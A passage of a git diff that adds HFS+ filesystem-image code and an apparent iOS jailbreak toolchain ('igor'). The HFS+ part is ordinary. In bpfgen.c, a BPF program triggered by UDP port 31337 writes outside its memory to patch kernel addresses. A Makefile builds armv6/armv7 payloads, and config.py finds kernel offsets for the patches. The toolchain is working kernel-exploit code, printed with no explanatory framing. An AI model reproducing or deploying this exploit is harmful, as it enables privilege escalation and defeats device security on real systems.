NULL; + } + curBlock = volume->volumeHeader->nextAllocation; + volume->volumeHeader->nextAllocation++; + if(volume->volumeHeader->nextAllocation >= volume->volumeHeader->totalBlocks) { + volume->volumeHeader->nextAllocation = 0; + } + } else { + if(lastExtent->blockCount == 0) { + lastExtent->startBlock = curBlock; + } + + /* zero out allocated block */ + ASSERT(WRITE(volume->image, curBlock * volume->volumeHeader->blockSize, volume->volumeHeader->blockSize, zeros), "WRITE"); + + setBlockUsed(volume, curBlock, TRUE); + volume->volumeHeader->freeBlocks--; + blocksToAllocate--; + curBlock++; + lastExtent->blockCount++; + + if(curBlock >= volume->volumeHeader->totalBlocks) { + curBlock = volume->volumeHeader->nextAllocation; + } + } + } + + free(zeros); + } else if(blocksNeeded < forkData->totalBlocks) { + blocksToAllocate = blocksNeeded; + + lastExtent = NULL; + + while(blocksToAllocate > 0) { + if(blocksToAllocate > extent->blockCount) { + blocksToAllocate -= extent->blockCount; + lastExtent = extent; + extent = extent->next; + } else { + break; + } + } + + + if(blocksToAllocate == 0 && lastExtent != NULL) { + // snip the extent list here, since we don't need the rest + lastExtent->next = NULL; + } else if(blocksNeeded == 0) { + rawFile->extents = NULL; + } + + do { + for(curBlock = (extent->startBlock + blocksToAllocate); curBlock < (extent->startBlock + extent->blockCount); curBlock++) { + setBlockUsed(volume, curBlock, FALSE); + volume->volumeHeader->freeBlocks++; + } + lastExtent = extent; + extent = extent->next; + + if(blocksToAllocate == 0) + { + free(lastExtent); + } else { + lastExtent->next = NULL; + lastExtent->blockCount = blocksToAllocate; + } + + blocksToAllocate = 0; + } while(extent != NULL); + } + + writeExtents(rawFile); + + forkData->logicalSize = size; + forkData->totalBlocks = blocksNeeded; + + updateVolume(rawFile->volume); + + if(rawFile->catalogRecord != NULL) { + updateCatalog(rawFile->volume, rawFile->catalogRecord); + } + + return TRUE; +} + +static int rawFileRead(io_func* io,off_t location, size_t size, void *buffer) { + RawFile* rawFile; + Volume* volume; + Extent* extent; + + size_t blockSize; + off_t fileLoc; + off_t locationInBlock; + size_t possible; + + rawFile = (RawFile*) io->data; + volume = rawFile->volume; + blockSize = volume->volumeHeader->blockSize; + + extent = rawFile->extents; + fileLoc = 0; + + locationInBlock = location; + while(TRUE) { + fileLoc += extent->blockCount * blockSize; + if(fileLoc <= location) { + locationInBlock -= extent->blockCount * blockSize; + extent = extent->next; + if(extent == NULL) + break; + } else { + break; + } + } + + while(size > 0) { + if(extent == NULL) + return FALSE; + + possible = extent->blockCount * blockSize - locationInBlock; + + if(size > possible) { + ASSERT(READ(volume->image, extent->startBlock * blockSize + locationInBlock, possible, buffer), "READ"); + size -= possible; + buffer = (void*)(((size_t)buffer) + possible); + extent = extent->next; + } else { + ASSERT(READ(volume->image, extent->startBlock * blockSize + locationInBlock, size, buffer), "READ"); + break; + } + + locationInBlock = 0; + } + + return TRUE; +} + +static int rawFileWrite(io_func* io,off_t location, size_t size, void *buffer) { + RawFile* rawFile; + Volume* volume; + Extent* extent; + + size_t blockSize; + off_t fileLoc; + off_t locationInBlock; + size_t possible; + + rawFile = (RawFile*) io->data; + volume = rawFile->volume; + blockSize = volume->volumeHeader->blockSize; + + if(rawFile->forkData->logicalSize < (location + size)) { + ASSERT(allocate(rawFile, location + size), "allocate"); + } + + extent = rawFile->extents; + fileLoc = 0; + + locationInBlock = location; + while(TRUE) { + fileLoc += extent->blockCount * blockSize; + if(fileLoc <= location) { + locationInBlock -= extent->blockCount * blockSize; + extent = extent->next; + if(extent == NULL) + break; + } else { + break; + } + } + + while(size > 0) { + if(extent == NULL) + return FALSE; + + possible = extent->blockCount * blockSize - locationInBlock; + + if(size > possible) { + ASSERT(WRITE(volume->image, extent->startBlock * blockSize + locationInBlock, possible, buffer), "WRITE"); + size -= possible; + buffer = (void*)(((size_t)buffer) + possible); + extent = extent->next; + } else { + ASSERT(WRITE(volume->image, extent->startBlock * blockSize + locationInBlock, size, buffer), "WRITE"); + break; + } + + locationInBlock = 0; + } + + return TRUE; +} + +static void closeRawFile(io_func* io) { + RawFile* rawFile; + Extent* extent; + Extent* toRemove; + + rawFile = (RawFile*) io->data; + extent = rawFile->extents; + + while(extent != NULL) { + toRemove = extent; + extent = extent->next; + free(toRemove); + } + + free(rawFile); + free(io); +} + +int removeExtents(RawFile* rawFile) { + uint32_t blocksLeft; + HFSPlusForkData* forkData; + uint32_t currentBlock; + + uint32_t startBlock; + uint32_t blockCount; + + HFSPlusExtentDescriptor* descriptor; + int currentExtent; + HFSPlusExtentKey extentKey; + int exact; + + extentKey.keyLength = sizeof(HFSPlusExtentKey) - sizeof(extentKey.keyLength); + extentKey.forkType = 0; + extentKey.fileID = rawFile->id; + + forkData = rawFile->forkData; + blocksLeft = forkData->totalBlocks; + currentExtent = 0; + currentBlock = 0; + descriptor = (HFSPlusExtentDescriptor*) forkData->extents; + + while(blocksLeft > 0) { + if(currentExtent == 8) { + if(rawFile->volume->extentsTree == NULL) { + hfs_panic("no extents overflow file loaded yet!"); + return FALSE; + } + + if(descriptor != ((HFSPlusExtentDescriptor*) forkData->extents)) { + free(descriptor); + } + + extentKey.startBlock = currentBlock; + descriptor = (HFSPlusExtentDescriptor*) search(rawFile->volume->extentsTree, (BTKey*)(&extentKey), &exact, NULL, NULL); + if(descriptor == NULL || exact == FALSE) { + hfs_panic("inconsistent extents information!"); + return FALSE; + } else { + removeFromBTree(rawFile->volume->extentsTree, (BTKey*)(&extentKey)); + currentExtent = 0; + continue; + } + } + + startBlock = descriptor[currentExtent].startBlock; + blockCount = descriptor[currentExtent].blockCount; + + currentBlock += blockCount; + blocksLeft -= blockCount; + currentExtent++; + } + + if(descriptor != ((HFSPlusExtentDescriptor*) forkData->extents)) { + free(descriptor); + } + + return TRUE; +} + +int writeExtents(RawFile* rawFile) { + Extent* extent; + int currentExtent; + HFSPlusExtentKey extentKey; + HFSPlusExtentDescriptor descriptor[8]; + HFSPlusForkData* forkData; + + removeExtents(rawFile); + + forkData = rawFile->forkData; + currentExtent = 0; + extent = rawFile->extents; + + memset(forkData->extents, 0, sizeof(HFSPlusExtentRecord)); + while(extent != NULL && currentExtent < 8) { + ((HFSPlusExtentDescriptor*)forkData->extents)[currentExtent].startBlock = extent->startBlock; + ((HFSPlusExtentDescriptor*)forkData->extents)[currentExtent].blockCount = extent->blockCount; + extent = extent->next; + currentExtent++; + } + + if(extent != NULL) { + extentKey.keyLength = sizeof(HFSPlusExtentKey) - sizeof(extentKey.keyLength); + extentKey.forkType = 0; + extentKey.fileID = rawFile->id; + + currentExtent = 0; + + while(extent != NULL) { + if(currentExtent == 0) { + memset(descriptor, 0, sizeof(HFSPlusExtentRecord)); + } + + if(currentExtent == 8) { + extentKey.startBlock = descriptor[0].startBlock; + addToBTree(rawFile->volume->extentsTree, (BTKey*)(&extentKey), sizeof(HFSPlusExtentRecord), (unsigned char *)(&(descriptor[0]))); + currentExtent = 0; + } + + descriptor[currentExtent].startBlock = extent->startBlock; + descriptor[currentExtent].blockCount = extent->blockCount; + + currentExtent++; + extent = extent->next; + } + + extentKey.startBlock = descriptor[0].startBlock; + addToBTree(rawFile->volume->extentsTree, (BTKey*)(&extentKey), sizeof(HFSPlusExtentRecord), (unsigned char *)(&(descriptor[0]))); + } + + return TRUE; +} + +int readExtents(RawFile* rawFile) { + uint32_t blocksLeft; + HFSPlusForkData* forkData; + uint32_t currentBlock; + + Extent* extent; + Extent* lastExtent; + + HFSPlusExtentDescriptor* descriptor; + int currentExtent; + HFSPlusExtentKey extentKey; + int exact; + + extentKey.keyLength = sizeof(HFSPlusExtentKey) - sizeof(extentKey.keyLength); + extentKey.forkType = 0; + extentKey.fileID = rawFile->id; + + forkData = rawFile->forkData; + blocksLeft = forkData->totalBlocks; + currentExtent = 0; + currentBlock = 0; + descriptor = (HFSPlusExtentDescriptor*) forkData->extents; + + lastExtent = NULL; + + while(blocksLeft > 0) { + extent = (Extent*) malloc(sizeof(Extent)); + + if(currentExtent == 8) { + if(rawFile->volume->extentsTree == NULL) { + hfs_panic("no extents overflow file loaded yet!"); + return FALSE; + } + + if(descriptor != ((HFSPlusExtentDescriptor*) forkData->extents)) { + free(descriptor); + } + + extentKey.startBlock = currentBlock; + descriptor = (HFSPlusExtentDescriptor*) search(rawFile->volume->extentsTree, (BTKey*)(&extentKey), &exact, NULL, NULL); + if(descriptor == NULL || exact == FALSE) { + hfs_panic("inconsistent extents information!"); + return FALSE; + } else { + currentExtent = 0; + continue; + } + } + + extent->startBlock = descriptor[currentExtent].startBlock; + extent->blockCount = descriptor[currentExtent].blockCount; + extent->next = NULL; + + currentBlock += extent->blockCount; + blocksLeft -= extent->blockCount; + currentExtent++; + + if(lastExtent == NULL) { + rawFile->extents = extent; + } else { + lastExtent->next = extent; + } + + lastExtent = extent; + } + + if(descriptor != ((HFSPlusExtentDescriptor*) forkData->extents)) { + free(descriptor); + } + + return TRUE; +} + +io_func* openRawFile(HFSCatalogNodeID id, HFSPlusForkData* forkData, HFSPlusCatalogRecord* catalogRecord, Volume* volume) { + io_func* io; + RawFile* rawFile; + + io = (io_func*) malloc(sizeof(io_func)); + rawFile = (RawFile*) malloc(sizeof(RawFile)); + + rawFile->id = id; + rawFile->volume = volume; + rawFile->forkData = forkData; + rawFile->catalogRecord = catalogRecord; + rawFile->extents = NULL; + + io->data = rawFile; + io->read = &rawFileRead; + io->write = &rawFileWrite; + io->close = &closeRawFile; + + if(!readExtents(rawFile)) { + return NULL; + } + + return io; +} diff --git a/hfs/utility.c b/hfs/utility.c new file mode 100644 index 0000000..919f7d8 --- /dev/null +++ b/hfs/utility.c @@ -0,0 +1,30 @@ +#include +#include +#include "hfsplus.h" + +void hfs_panic(const char* hfs_panicString) { + fprintf(stderr, "%s\n", hfs_panicString); + exit(1); +} + +void printUnicode(HFSUniStr255* str) { + int i; + + for(i = 0; i < str->length; i++) { + printf("%c", (char)(str->unicode[i] & 0xff)); + } +} + +char* unicodeToAscii(HFSUniStr255* str) { + int i; + char* toReturn; + + toReturn = (char*) malloc(sizeof(char) * (str->length + 1)); + + for(i = 0; i < str->length; i++) { + toReturn[i] = (char)(str->unicode[i] & 0xff); + } + toReturn[i] = '\0'; + + return toReturn; +} diff --git a/hfs/volume.c b/hfs/volume.c new file mode 100644 index 0000000..a7c8ef0 --- /dev/null +++ b/hfs/volume.c @@ -0,0 +1,162 @@ +#include +#include +#include "hfsplus.h" + +void flipForkData(HFSPlusForkData* forkData) { + FLIPENDIAN(forkData->logicalSize); + FLIPENDIAN(forkData->clumpSize); + FLIPENDIAN(forkData->totalBlocks); + + flipExtentRecord(&forkData->extents); +} + +static HFSPlusVolumeHeader* readVolumeHeader(io_func* io, off_t offset) { + HFSPlusVolumeHeader* volumeHeader; + + volumeHeader = (HFSPlusVolumeHeader*) malloc(sizeof(HFSPlusVolumeHeader)); + + if(!(READ(io, offset, sizeof(HFSPlusVolumeHeader), volumeHeader))) + return NULL; + + FLIPENDIAN(volumeHeader->signature); + FLIPENDIAN(volumeHeader->version); + FLIPENDIAN(volumeHeader->attributes); + FLIPENDIAN(volumeHeader->lastMountedVersion); + FLIPENDIAN(volumeHeader->journalInfoBlock); + FLIPENDIAN(volumeHeader->createDate); + FLIPENDIAN(volumeHeader->modifyDate); + FLIPENDIAN(volumeHeader->backupDate); + FLIPENDIAN(volumeHeader->checkedDate); + FLIPENDIAN(volumeHeader->fileCount); + FLIPENDIAN(volumeHeader->folderCount); + FLIPENDIAN(volumeHeader->blockSize); + FLIPENDIAN(volumeHeader->totalBlocks); + FLIPENDIAN(volumeHeader->freeBlocks); + FLIPENDIAN(volumeHeader->nextAllocation); + FLIPENDIAN(volumeHeader->rsrcClumpSize); + FLIPENDIAN(volumeHeader->dataClumpSize); + FLIPENDIAN(volumeHeader->nextCatalogID); + FLIPENDIAN(volumeHeader->writeCount); + FLIPENDIAN(volumeHeader->encodingsBitmap); + + + flipForkData(&volumeHeader->allocationFile); + flipForkData(&volumeHeader->extentsFile); + flipForkData(&volumeHeader->catalogFile); + flipForkData(&volumeHeader->attributesFile); + flipForkData(&volumeHeader->startupFile); + + return volumeHeader; +} + +static int writeVolumeHeader(io_func* io, HFSPlusVolumeHeader* volumeHeaderToWrite, off_t offset) { + HFSPlusVolumeHeader* volumeHeader; + + volumeHeader = (HFSPlusVolumeHeader*) malloc(sizeof(HFSPlusVolumeHeader)); + memcpy(volumeHeader, volumeHeaderToWrite, sizeof(HFSPlusVolumeHeader)); + + FLIPENDIAN(volumeHeader->signature); + FLIPENDIAN(volumeHeader->version); + FLIPENDIAN(volumeHeader->attributes); + FLIPENDIAN(volumeHeader->lastMountedVersion); + FLIPENDIAN(volumeHeader->journalInfoBlock); + FLIPENDIAN(volumeHeader->createDate); + FLIPENDIAN(volumeHeader->modifyDate); + FLIPENDIAN(volumeHeader->backupDate); + FLIPENDIAN(volumeHeader->checkedDate); + FLIPENDIAN(volumeHeader->fileCount); + FLIPENDIAN(volumeHeader->folderCount); + FLIPENDIAN(volumeHeader->blockSize); + FLIPENDIAN(volumeHeader->totalBlocks); + FLIPENDIAN(volumeHeader->freeBlocks); + FLIPENDIAN(volumeHeader->nextAllocation); + FLIPENDIAN(volumeHeader->rsrcClumpSize); + FLIPENDIAN(volumeHeader->dataClumpSize); + FLIPENDIAN(volumeHeader->nextCatalogID); + FLIPENDIAN(volumeHeader->writeCount); + FLIPENDIAN(volumeHeader->encodingsBitmap); + + + flipForkData(&volumeHeader->allocationFile); + flipForkData(&volumeHeader->extentsFile); + flipForkData(&volumeHeader->catalogFile); + flipForkData(&volumeHeader->attributesFile); + flipForkData(&volumeHeader->startupFile); + + if(!(WRITE(io, offset, sizeof(HFSPlusVolumeHeader), volumeHeader))) + return FALSE; + + free(volumeHeader); + + return TRUE; +} + +int updateVolume(Volume* volume) { + ASSERT(writeVolumeHeader(volume->image, volume->volumeHeader, + ((off_t)volume->volumeHeader->totalBlocks * (off_t)volume->volumeHeader->blockSize) - 1024), "writeVolumeHeader"); + return writeVolumeHeader(volume->image, volume->volumeHeader, 1024); +} + +Volume* openVolume(io_func* io) { + Volume* volume; + io_func* file; + + volume = (Volume*) malloc(sizeof(Volume)); + volume->image = io; + volume->extentsTree = NULL; + + volume->volumeHeader = readVolumeHeader(io, 1024); + if(volume->volumeHeader == NULL) { + free(volume); + return NULL; + } + + file = openRawFile(kHFSExtentsFileID, &volume->volumeHeader->extentsFile, NULL, volume); + if(file == NULL) { + free(volume->volumeHeader); + free(volume); + return NULL; + } + + volume->extentsTree = openExtentsTree(file); + if(volume->extentsTree == NULL) { + free(volume->volumeHeader); + free(volume); + return NULL; + } + + file = openRawFile(kHFSCatalogFileID, &volume->volumeHeader->catalogFile, NULL, volume); + if(file == NULL) { + closeBTree(volume->extentsTree); + free(volume->volumeHeader); + free(volume); + return NULL; + } + + volume->catalogTree = openCatalogTree(file); + if(volume->catalogTree == NULL) { + closeBTree(volume->extentsTree); + free(volume->volumeHeader); + free(volume); + return NULL; + } + + volume->allocationFile = openRawFile(kHFSAllocationFileID, &volume->volumeHeader->allocationFile, NULL, volume); + if(volume->catalogTree == NULL) { + closeBTree(volume->catalogTree); + closeBTree(volume->extentsTree); + free(volume->volumeHeader); + free(volume); + return NULL; + } + + return volume; +} + +void closeVolume(Volume *volume) { + CLOSE(volume->allocationFile); + closeBTree(volume->catalogTree); + closeBTree(volume->extentsTree); + free(volume->volumeHeader); + free(volume); +} diff --git a/igor/.gitignore b/igor/.gitignore new file mode 100644 index 0000000..6b9e35d --- /dev/null +++ b/igor/.gitignore @@ -0,0 +1,10 @@ +bpfgen +*.o +*.dylib +*.gch +config.cflags +config.json +config1.cache.db +insns.txt +install +map.plist diff --git a/igor/Makefile b/igor/Makefile new file mode 100644 index 0000000..e885521 --- /dev/null +++ b/igor/Makefile @@ -0,0 +1,25 @@ +ALL := common.h.gch one.dylib install insns.txt bpfgen +BIN := /Developer/Platforms/iPhoneOS.platform/Developer/usr/bin +GCC := $(BIN)/gcc-4.2 -arch armv6 -Os --sysroot /var/sdk -DDEBUG=$(shell cat debug) `cat config.cflags` -Wimplicit -isysroot /var/sdk +GCC_UNIVERSAL := $(BIN)/gcc-4.2 -arch armv7 -arch armv6 -Os -Ixz -DDEBUG=$(shell cat debug) `cat config.cflags` -Wimplicit -isysroot /var/sdk +all: config.cflags $(ALL) +one.dylib: one.py insns.txt config.cflags + python one.py one.dylib +%.o: %.S + perl gas-preprocessor.pl $(GCC) -c -o $@ $< +install: install.o lsstuff.o copier.o fb.o debug config.cflags libtar.a liblzma.a + $(GCC_UNIVERSAL) -DLIB -std=gnu99 -Os -o install install.o lsstuff.o copier.o fb.o libtar.a liblzma.a -F/var/sdk/System/Library/Frameworks -F/var/sdk/System/Library/PrivateFrameworks -framework CoreFoundation -framework Foundation -framework UIKit -framework CoreGraphics -framework IOKit -framework CoreSurface -framework IOSurface -framework IOMobileFramebuffer -framework MobileCoreServices -lz +bpfgen: bpfgen.c + gcc -std=gnu99 -m32 -o bpfgen bpfgen.c +insns.txt: bpfgen config.cflags + ./bpfgen `cat config.cflags` +%.o: %.c + $(GCC_UNIVERSAL) -std=gnu99 -Os -c -o $@ -Iheaders $< +%.o: %.m + $(GCC_UNIVERSAL) -std=gnu99 -Os -c -o $@ -Iheaders $< +%.h.gch: %.h + $(GCC) -std=gnu99 -Os -o $@ $< +clean: + rm -f $(ALL) *.o +distclean: + rm -f $(ALL) *.o config.cflags config.json config.cache.db diff --git a/igor/README b/igor/README new file mode 100644 index 0000000..d71a2df --- /dev/null +++ b/igor/README @@ -0,0 +1,6 @@ +run something like + +python config.py iPhone2,1_3.1.2 + +before 'make'. See ipsw/* + diff --git a/igor/bpfgen.c b/igor/bpfgen.c new file mode 100644 index 0000000..f1bd3fa --- /dev/null +++ b/igor/bpfgen.c @@ -0,0 +1,134 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +// +// snow! + +int g_argc; +char **g_argv; + +static unsigned int c(char *key) { + int len = strlen(key); + for(int i = 0; i < g_argc; i++) { + char *arg = g_argv[i]; + if(arg[0] == '-' && arg[1] == 'D' && !memcmp(arg + 2, key, len) && arg[2 + len] == '=') { + return (unsigned int) strtoll(arg + 2 + len + 3, NULL, 16); + } + } + abort(); +} +// +int main(int argc, char **argv) { + g_argc = argc - 1; + g_argv = argv + 1; + struct bpf_insn *insns = calloc(512, sizeof(struct bpf_insn)); + int i = 0; + int j = (-0x1000 + 0x64)/4; + int last = 0xf9c/4; + +#define ADD insns[i++] = (struct bpf_insn) +#define ADD2(code, k) do { ADD BPF_STMT(BPF_LDX|BPF_IMM, code); \ + ADD BPF_STMT(BPF_STX, j++); \ + ADD BPF_STMT(BPF_LDX|BPF_IMM, k); \ + ADD BPF_STMT(BPF_STX, j++); } while(0) +#define ADD2_STX(k) do { int _k = (k); \ + if(_k & 3) { printf("%x!\n", _k); abort(); } \ + int _q = _k/4; \ + ADD BPF_STMT(BPF_LDX|BPF_IMM, BPF_STX); \ + ADD BPF_STMT(BPF_STX, j++); \ + if(_q != last) ADD BPF_STMT(BPF_ALU|BPF_ADD|BPF_K, _q - last); \ + last = _q; \ + ADD BPF_STMT(BPF_MISC|BPF_TAX, 0); \ + ADD BPF_STMT(BPF_STX, j++); } while(0) + // hack_hdr_on_stack -> mh_next (0) -> mh_data (c) + // Is this actually my packet? + // Loopback != ethernet + // 0 - family + // 4- version, ihl, tos, tl + // 8- id, flags, frag offset + // 12- ttl, protocol, header cksum + // 16- source address + //ADD BPF_STMT(BPF_STX, 0xdeadbeef); // A should = SP + 4 -0x1000 + // 20- dest address + // +0- source port, dest port [X+4, X+6] 24? + // +4- length, cksum [X+8, X+10] 28? + // +8- data... [X+12...] 32? + ADD BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 0); + ADD BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0x02000000, 0, 7); + ADD BPF_STMT(BPF_LD+BPF_B+BPF_ABS, 13); + ADD BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_UDP, 0, 5); + ADD BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 10); + ADD BPF_JUMP(BPF_JMP+BPF_JSET+BPF_K, 0x1fff, 3, 0); + ADD BPF_STMT(BPF_LDX+BPF_B+BPF_MSH, 4); + ADD BPF_STMT(BPF_LD+BPF_H+BPF_IND, 6); + ADD BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 31337, 1, 0); + ADD BPF_STMT(BPF_RET+BPF_K, (u_int)0); + //ADD BPF_STMT(BPF_RET+BPF_K, (u_int)-1); + + // It is. + + // copied from tester, ought to work + ADD BPF_STMT(BPF_LDX|BPF_MEM, 23); + ADD BPF_STMT(BPF_MISC|BPF_TXA, 0); + ADD BPF_STMT(BPF_ALU|BPF_ADD|BPF_K, -36*4 - 0x1000); + ADD BPF_STMT(BPF_MISC|BPF_TAX, 0); + ADD BPF_STMT(BPF_STX, (-0x1000 + 4)/4); + + ADD BPF_STMT(BPF_LDX|BPF_MEM, 20); + ADD BPF_STMT(BPF_STX, (-0x1000 + 8)/4); + + ADD BPF_STMT(BPF_ALU|BPF_ADD|BPF_K, 4); + ADD BPF_STMT(BPF_MISC|BPF_TAX, 0); + ADD BPF_STMT(BPF_STX, 20); + + ADD BPF_STMT(BPF_ALU|BPF_ADD|BPF_K, 0x60); + ADD BPF_STMT(BPF_MISC|BPF_TAX, 0); + ADD BPF_STMT(BPF_STX, (-0x1000 + 0x24)/4); + + ADD BPF_STMT(BPF_LDX|BPF_IMM, 0); + ADD BPF_STMT(BPF_STX, (-0x1000 + 0)/4); + ADD BPF_STMT(BPF_LDX|BPF_IMM, 1); + ADD BPF_STMT(BPF_STX, (-0x1000 + 0x60)/4); + + ADD BPF_STMT(BPF_ALU|BPF_RSH|BPF_K, 2); + ADD BPF_STMT(BPF_ALU|BPF_NEG, 0); // A = -(buf + 0x64)/4 = -(mem - 0x9c)/4 + + ADD2(BPF_LDX|BPF_IMM, c("CONFIG_PATCH1_TO")); + ADD2_STX(c("CONFIG_PATCH1")); + + ADD2(BPF_LDX|BPF_IMM, 0); + ADD2_STX(c("CONFIG_PATCH2")); + + ADD2(BPF_LDX|BPF_IMM, c("CONFIG_PATCH3_TO")); + ADD2_STX(c("CONFIG_PATCH3")); + + ADD2(BPF_LDX|BPF_IMM, c("CONFIG_PATCH4_TO")); + ADD2_STX(c("CONFIG_PATCH4")); + + ADD2(BPF_LDX|BPF_IMM, 1); + ADD2_STX(c("CONFIG_PATCH5")); + ADD2_STX(c("CONFIG_PATCH6")); + + + ADD2(BPF_RET|BPF_K, 0); + + ADD BPF_STMT(BPF_RET|BPF_K, (u_int)0); + +#undef ADD + printf("%d\n", i); + assert(i < 512); + w((struct buf){(void*)insns, i * sizeof(struct bpf_insn)}, "insns.txt", 0); + return 0; +} diff --git a/igor/common.h b/igor/common.h new file mode 100644 index 0000000..d235b35 --- /dev/null +++ b/igor/common.h @@ -0,0 +1,159 @@ +#pragma once +#define _COMMON_H +#include +#include +#include +#include +#include +#include +#include +#define ctassert(x, y) extern char XX_## y [(x) ? 1 : -1] +typedef unsigned long long ull; +typedef unsigned long ul; +#define TRY(name, x) _try(#name, (x)) +#define TRY2(name, arg, x) _try2(#name, (arg), (x)) +#define AST(name, x) _try(#name, !(x)) +#define AST2(name, arg, x) _try2(#name, (arg), !(x)) + +#ifdef LOG_FP +extern FILE *log_fp; +#define E(fmt, args...) do { fprintf(log_fp, fmt "\n", ##args); fflush(log_fp); } while(0) +#define I(fmt, args...) do { fprintf(log_fp, fmt "\n", ##args); fflush(log_fp); } while(0) +#else +#include +#define E(args...) syslog(LOG_EMERG, args) +#define I(args...) syslog(LOG_EMERG, args) +#endif +#if DEBUG +#define TIME(thing) do { ull _ta = getms(); thing; ull _tb = getms(); I("[%.4ld ms] %s", (long int) (_tb - _ta), #thing); } while(0) +#else +#define TIME(thing) thing +#endif + +static inline void _try(const char name[], int err) { + if(err) { + E("%s failed: (%d,%d) %s\n", name, err, errno, strerror(errno)); + exit(1); + } +} + +static inline void _try2(const char name[], const char arg[], int err) { + if(err) { + E("%s[%s] failed: (%d,%d) %s\n", name, arg, err, errno, strerror(errno)); + exit(1); + } +} + +static inline ull getms() { + struct timeval tp; + gettimeofday(&tp, NULL); + return ((ull) tp.tv_sec) * 1000000 + (ull) tp.tv_usec; +} + +struct buf { char *data; size_t len; }; +static struct buf r(char *filename, int string) { + FILE *fp = fopen(filename, "rb"); + if(!fp) abort(); + fseek(fp, 0, SEEK_END); + struct buf buf; + buf.len = ftell(fp); + fseek(fp, 0, SEEK_SET); + buf.data = malloc(buf.len + 1); + assert(1 == fread(buf.data, buf.len, 1, fp)); + if(string) { + buf.data[buf.len] = 0; + if(buf.len > 0 && buf.data[buf.len-1] == '\n') buf.data[buf.len-1] = 0; + } + fclose(fp); + return buf; +} +static void w(struct buf buf, char *filename, int string) { + FILE *fp = fopen(filename, "wb"); + if(!fp) abort(); + if(string) { + if(buf.len > 0 && buf.data[buf.len-1] == '\0') buf.len--; + } + assert(1 == fwrite(buf.data, buf.len, 1, fp)); + fclose(fp); +} +static void hex_dump(void *data, int size) +{ + /* dumps size bytes of *data to stdout. Looks like: + * [0000] 75 6E 6B 6E 6F 77 6E 20 + * 30 FF 00 00 00 00 39 00 unknown 0.....9. + * (in a single line of course) + */ + + unsigned char *p = data; + unsigned char c; + int n; + char bytestr[4] = {0}; + char addrstr[10] = {0}; + char hexstr[ 16*3 + 5] = {0}; + char charstr[16*1 + 5] = {0}; + for(n=1;n<=size;n++) { + if (n%16 == 1) { + /* store address for this line */ + snprintf(addrstr, sizeof(addrstr), "%.4x", + ((unsigned int)p-(unsigned int)data) ); + } + + c = *p; + if (isalnum(c) == 0) { + c = '.'; + } + + /* store hex str (for left side) */ + snprintf(bytestr, sizeof(bytestr), "%02X ", *p); + strncat(hexstr, bytestr, sizeof(hexstr)-strlen(hexstr)-1); + + /* store char str (for right side) */ + snprintf(bytestr, sizeof(bytestr), "%c", c); + strncat(charstr, bytestr, sizeof(charstr)-strlen(charstr)-1); + + if(n%16 == 0) { + /* line completed */ + printf("[%4.4s] %-50.50s %s\n", addrstr, hexstr, charstr); + hexstr[0] = 0; + charstr[0] = 0; + } else if(n%8 == 0) { + /* half line: add whitespaces */ + strncat(hexstr, " ", sizeof(hexstr)-strlen(hexstr)-1); + strncat(charstr, " ", sizeof(charstr)-strlen(charstr)-1); + } + p++; /* next byte */ + } + + if (strlen(hexstr) > 0) { + /* print rest of buffer if not empty */ + printf("[%4.4s] %-50.50s %s\n", addrstr, hexstr, charstr); + } +} + +#ifdef CFCOMMON +#include + +static CFDataRef cr(const char *fn) { + FILE *fp = fopen(fn, "rb"); + AST2(r_open, fn, fp); + fseek(fp, 0, SEEK_END); + size_t len = ftell(fp); + fseek(fp, 0, SEEK_SET); + void *buf = malloc(len); + AST2(r_read, fn, len == fread(buf, 1, len, fp)); + return CFDataCreateWithBytesNoCopy(NULL, buf, len, NULL); + // it will free it itself +} + +static void cw(const char *fn, CFDataRef data) { + char *temp; + asprintf(&temp, "%s_temp", fn); + FILE *fp = fopen(temp, "wb"); + AST2(w_open, fn, fp); + size_t len = CFDataGetLength(data); + AST2(r_write, fn, len == fwrite(CFDataGetBytePtr(data), 1, len, fp)); + fclose(fp); + TRY2(r_rename, fn, rename(temp, fn)); + free(temp); +} +#endif diff --git a/igor/config.py b/igor/config.py new file mode 100644 index 0000000..faf10ad --- /dev/null +++ b/igor/config.py @@ -0,0 +1,199 @@ +import json, struct, re, subprocess, time, shelve, hashlib, cPickle, os, sys, plistlib, optparse + +data = eval('{%s}' % open('configdata.py').read()) + +cache = shelve.open('config1.cache') + +def lookup(sects, off, soff): + for vmaddr, sectstart, sectend in sects: + if off >= sectstart and off < sectend: + val = vmaddr + (off - sectstart) + soff + break + return val + +def do_binary_kv(syms, sects, stuff, k, v): + if v[0] in ('-', '+') and v[1] != ' ': + name = v[1:] + offs = 0 + z = name.find('+') + if z != -1: + offs = eval(name[z+1:]) + name = name[:z] + addr = syms[name] + # Data, so even a thumb symbol shouldn't be &1 + if v[0] == '-': addr &= ~1 + addr += offs + return addr + elif v == '!': + off = re.search('\x14[\x14\x00]{256}', stuff).start() + val = lookup(sects, off, 0) + val = (val + 4) & ~3 + return val + + bits = v.split(' ') + sstr = '' + soff = None + loose = False + aligned = False + startoff = None + n = 0 + for bit in bits: + if bit.startswith('='): + myaddr = syms[bit[1:]] & ~1 + for vmaddr, sectstart, sectend in sects: + if vmaddr <= myaddr < vmaddr + (sectend - sectstart): + startoff = myaddr - vmaddr + sectstart + break + else: + raise ValueError('wtf') + elif bit == '@': + loose = True + elif bit == '+': + soff = n + 1 + elif bit == '-': # ARM or data + soff = n + elif bit == '%': + soff = n + aligned = True + elif bit == '..': + sstr += '.' + n += 1 + else: + sstr += re.escape(chr(int(bit, 16))) + n += 1 + if soff is None: + raise ValueError('No offset in %s' % (v,)) + if startoff is not None: + print stuff[startoff:startoff+64].encode('hex') + offs = list(re.compile(sstr).finditer(stuff, startoff, startoff+64)) + else: + offs = list(re.finditer(sstr, stuff)) + if len(offs) == 0: + print repr(sstr) + raise ValueError('I couldn\'t find %s' % v) + elif not loose and len(offs) >= 2: + raise ValueError('I found multiple (%d) %s' % (len(offs), v)) + off = offs[0].start() + val = lookup(sects, off, soff) + if aligned and (val & 3): + raise ValueError('%s is not aligned: %x' % (v, val)) + return val + +def get_syms(binary): + syms = {} + for line in subprocess.Popen(['nm', '-p', '-m', binary], stdout=subprocess.PIPE).stdout: + stuff = line[:-1].split(' ') + name = stuff[-1] + addr = stuff[0] + if not addr: continue + addr = int(addr, 16) 